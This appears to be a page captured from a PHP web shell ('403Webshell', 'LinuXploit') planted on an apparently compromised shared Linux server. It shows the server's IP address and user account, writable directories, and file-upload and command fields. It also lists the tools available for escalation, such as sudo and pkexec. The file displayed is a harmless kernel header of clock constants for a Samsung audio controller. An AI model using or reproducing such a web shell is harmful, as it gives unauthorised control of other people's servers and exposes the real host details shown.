- GRAYBYTE UNDETECTABLE CODES -

403Webshell
Server IP : 184.154.167.98  /  Your IP : 18.188.162.87
Web Server : Apache
System : Linux pink.dnsnetservice.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
User : puertode ( 1767)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/src/kernels/4.18.0-553.30.1.lve.el8.x86_64/include/dt-bindings/clock/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/src/kernels/4.18.0-553.30.1.lve.el8.x86_64/include/dt-bindings/clock/s5pv210-audss.h
/*
 * Copyright (c) 2014 Tomasz Figa <tomasz.figa@gmail.com>
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License version 2 as
 * published by the Free Software Foundation.
 *
 * This header provides constants for Samsung audio subsystem
 * clock controller.
 *
 * The constants defined in this header are being used in dts
 * and s5pv210 audss driver.
 */

#ifndef _DT_BINDINGS_CLOCK_S5PV210_AUDSS_H
#define _DT_BINDINGS_CLOCK_S5PV210_AUDSS_H

#define CLK_MOUT_AUDSS		0
#define CLK_MOUT_I2S_A		1

#define CLK_DOUT_AUD_BUS	2
#define CLK_DOUT_I2S_A		3

#define CLK_I2S			4
#define CLK_HCLK_I2S		5
#define CLK_HCLK_UART		6
#define CLK_HCLK_HWA		7
#define CLK_HCLK_DMA		8
#define CLK_HCLK_BUF		9
#define CLK_HCLK_RP		10

#define AUDSS_MAX_CLKS		11

#endif

Youez - 2016 - github.com/yon3zu
LinuXploit